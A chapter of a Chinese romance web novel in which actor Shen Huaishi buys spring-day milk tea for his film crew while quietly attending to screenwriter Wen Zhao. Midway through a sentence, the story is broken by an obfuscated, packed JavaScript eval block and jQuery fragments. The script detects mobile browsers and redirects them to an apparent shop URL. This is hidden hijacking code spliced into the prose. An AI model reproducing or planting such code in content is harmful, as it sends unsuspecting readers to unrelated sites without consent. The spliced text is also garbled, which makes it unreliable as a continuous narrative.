立春，剧组开工的第一天。
假期抽走了人的身上最后一点懒散。北京城的空气虽然仍然带着寒意，但风的确软了很多，不再像年前那样刮得人脸生疼。
几大卡车的设备也早早在凌晨从重庆运送抵达北京，工人正有条不紊地卸下设备，将其搬入空旷的摄影棚。
沈淮时复工第一天，到片场时比通告单上的时间还早一些。
棚里灯火通明，工作人员忙着布景、调试设备，走动间带起微尘，在灯光下飞舞。
沈淮时没去自己的休息室，先在片场外围慢慢走着，突然脚步停在了一株光秃秃的银杏树下。
北京的行道树大多还沉睡在冬日里，但这棵银杏却极其不易察觉地冒出了几点米粒大小的芽苞。
他微微仰头，看了好一会儿。
“沈老师，早啊！”统筹大姐拎着热气腾腾的包子豆浆走过，嗓门洪亮，“哟，看什么呢这么入神？”
沈淮时收回视线，礼貌地颔首微笑，“早。看春天。”
“可不是嘛，今儿立春！”大姐笑呵呵的，“一年之计在于春，好兆头！”
他在那棵树下站了片刻，才转身走进棚内，回到自己的休息室。房间内暖气很足，他脱下羽绒服挂好，坐在沙发里，拿起剧本翻了翻，视线落在那些台词上。
休息室的门并没有关严，留着一道缝隙，隐约脚步声和低语从那缝隙里钻了进来。
然后，他听到了闻朝的声音。很轻，带着一点讨论剧情时特有的专注。
“……‘春天的第一杯奶茶’？”尾音微微上扬，像一片羽毛轻轻扫过。
沈淮时翻动剧本的手指顿住了。
“对啊，微博上都在刷这个梗。”另一个清脆的女声接话，是负责化妆的桑华，语气中透露着明显的雀跃与兴奋，“立春嘛，仪式感。说今天喝到第一杯奶茶，整个春天都会甜滋滋的。”
短暂的停顿，沈淮时几乎能想象出闻朝微微偏头思考的样子。“奶茶……”她的声音里带着一丝很淡的笑意，“甜腻，热量高，确实像春天刚冒头时那种不管不顾的生机。”
“就是这个意思！”桑华笑起来，“怎么样，点不点？我请客！就当庆祝咱们‘立春开工大吉’！”
“不用破费……”闻朝温和地推辞，语气平静。
“哎呀别客气……”外面的对话还在继续。
但沈淮时已经放下剧本，站起了身。他动作很轻地拉开休息室的门。
走廊上，闻朝和桑华正站在走廊讨论着。沈淮时的出现让两人的交谈暂停了一下。
桑华立刻笑着打招呼，“沈老师！”
闻朝也转过头来，目光与他接触，轻轻点了点头，“沈老师。”
她的眼神依旧清澈平静，看不出除夕夜那几句简短对话和图片交换留下的任何涟漪。
“在聊什么？”沈淮时走过去，语气是惯常的随意，目光却自然地落在闻朝身上。
“在说‘春天的第一杯奶茶’！”桑华快人快语，又把那个网络梗解释了一遍，末了笑了笑，“沈老师要不要加入？我准备给咱们组里几个女孩子都点一杯，凑个热闹。”
沈淮时沉吟了一下，目光扫过闻朝，然后他抬眼，看向桑华，声音不高，却足够清晰，“不用了。既然说到‘春天的第一杯’，又是开工第一天……”他顿了顿，似乎在考虑措辞，但表情是放松的。“我请大家吧。”
桑华愣了一下，随即眼睛亮起来，“真的？沈老师请客？那敢情好！全组都有份吗？”
“嗯。”沈淮时点了点头，拿出手机，“想喝什么，统计一下，我来点。”他说得平淡，仿佛这只是件再小不过的事。
闻朝似乎想说什么，嘴唇微动，但沈淮时已经转向她，很自然地问道：“闻编剧喝什么？还是热的就好？”
他的问题具体而细致，直接跳过了“喝不喝”的选项，落在了“喝什么”上。
闻朝到了嘴边的话便咽了回去，她抬起眼，对上沈淮时的目光。那目光平静坦荡，带着一点询问的耐心，还有一丝不易察觉的、属于他本人的周到。
“……热的就好。”她终于说，声音比刚才更轻了一些，停顿了一瞬，犹豫着补充了两个字，“全糖。”
“好。”沈淮时记下，又看向桑华，“桑华你呢？”
“我要全糖！加珍珠加椰果加奶盖！”桑华笑嘻嘻地报出一长串，末了还不好意思地问，“可以吗沈老师？”
“可以，想喝就点嘛。”沈淮时已经开始在手机上操作，“大概多少人？场务那边有确切数吗？”
“我、我去问问！”桑华反应过来，几乎是雀跃地转身跑开了。
角落里只剩下他们两人。远处传来器械移动的沉闷响声和工作人员的交谈，衬得这一小方天地格外寂静。
闻朝还在原地，似乎有些没反应过来。她看着沈淮时低头认真计算人数、估算分量的侧脸，那双在镜头前能表达出万千情绪的眼睛，此刻微微垂着，专注地看着屏幕上的数字，长睫覆盖下来，神情是一种近乎严谨的温和。
“会不会……太破费了？”她终于轻声开口。全剧组上百号人，这不是个小数目。
沈淮时闻言，从手机上抬起眼。他没立刻回答，只是看着她。他的目光很静，缓缓落在她脸上，带着一点探究，还有更多她读不懂的情绪。
“过年吃胖了，”他忽然说，嘴角弯起一个极淡的、几乎算不上笑意的弧度，“经纪人让控制。正好，请大家一起喝，我就有理由只尝一口。”
这个理由……闻朝眨了眨眼。有点突兀，又有点孩子气的耍赖，不太像平时那个滴水不漏、沉稳有度的沈淮时。
但她没再说，只是轻轻点了点头，“……谢谢。”
“不客气。”沈淮时收回目光。
桑华这时候跑了回来，脸上因为兴奋和跑动泛着红，“问清楚了！加上所有工作人员和临时演员，大概一百二十人左右！沈老师，这……”
显然就算是她也觉得这个数目不算小。
“好。”但沈淮时只是点了点头，脸上没有什么特别惊讶的表情，仿佛这个数字很普通。
消息很快传开，起初大家只是窃窃私语，但很快就变成了欢呼和确认。整个剧组都因这意外的“立春福利”而泛起小小的欢腾。
剧组工作人员脸上露出了真切的笑容，就连忙碌的步伐都变得轻快了。
副导演张礼笑着过来拍了拍沈淮时的肩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276101|198249||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
膀，“淮时，可以啊。刚开工就放大招，破费了啊！”
“应该的，图个开工大吉。”沈淮时的目光状似不经意地掠过人群边缘那道安静的身影。
“哇哦！沈老师万岁！”
“要贵的！加满料！”
“我要热乎乎的芋泥波波！”
现场顿时一片欢腾，年轻的工作人员们已经迫不及待地开始讨论口味。助理许安不用沈淮时吩咐，已经机灵地拿出手机，开始统计人头和需求。
“大家把想喝的告诉许安，”沈淮时提高了一点声音，确保每个人都能听到，他的目光再次扫过全场，在某个方向略微停顿，“今天立春，也算讨个好彩头，希望我们这部剧，也能借着春意，顺顺利利，开花结果。”
他的声音不高，却清晰地传到了每个人耳中。
导演陈序赞许地点了点头，几个资历老些的演员也露出了笑容。这番话说得漂亮，既应了景，又鼓舞了士气。
闻朝站在稍远一点的器材箱旁边，听着他清朗温和的声音，此刻的他，却仿佛被这立春的微光和众人的笑闹染上了一层真实的暖意。
大约两个小时后，几大箱奶茶被送到了片场。不是敷衍了事的廉价品牌，而是本地颇有名气、用料扎实的茶饮店。
店员们小心翼翼地搬下来，印着知名茶饮店logo的精致纸箱数量很多，堆在那里几乎堆成了小山。
包装精致，甚至细心地按照各人要求贴好了标签，热的、冰的、多糖、少糖、加料……分得清清楚楚。
“沈老师破费了啊！”导演拿着他那杯无糖的热乌龙，拍了拍沈淮时的肩膀。
“应该的。”沈淮时笑了笑，自己也拿了一杯简单的热美式。他的目光在分发奶茶的人群中逡巡，很快找到了目标。
闻朝正从许安手里接过她的那杯。杯子是温热的，标签上手写着“桂圆红枣茶，热，全糖”。
她有些意外地看了一眼标签，不是她刚才随口说的“热的，全糖”那么简单，指尖触及杯壁的温暖，轻轻握紧。
“谢谢。”她对许安低声说，然后捧着杯子，走回自己惯常待的那个靠窗的角落。
那里摆着一张简单的折叠桌和一把椅子，桌子上放着她的笔记本电脑和一些剧本资料。
她解开围巾，露出一张白皙清秀的脸，低头小心地插上吸管，喝了一小口。温热微甜、带着桂圆和红枣特有香气的茶液滑入喉咙，瞬间驱散了清晨残留的寒气，连紧绷的肩颈似乎都松弛了一些。
她靠在窗边，低着头，将奶茶放到桌边，手指开始在键帽上跳跃，阳光在她睫毛上跳跃，侧影安静而专注。
沈淮时站在不远处，手里咖啡的香气袅袅上升。
立春的暖阳，热茶的氤氲，片场逐渐响起的、为一天工作做准备的嘈杂声响，还有角落里那幅安静的画面……这一切混杂在一起，构成了一种具体而微的“春天”的实感。
比他见过的任何一场时装周的华服盛宴，比任何镜头前精心设计的光影，都要真实，都要更加抚慰人心。
他忽然想起除夕夜她撤回的消息、想起那句隔着屏幕带着旧诗词气韵的“愿君千万岁，无岁不逢春”、想起她最后说的那句“春天见”。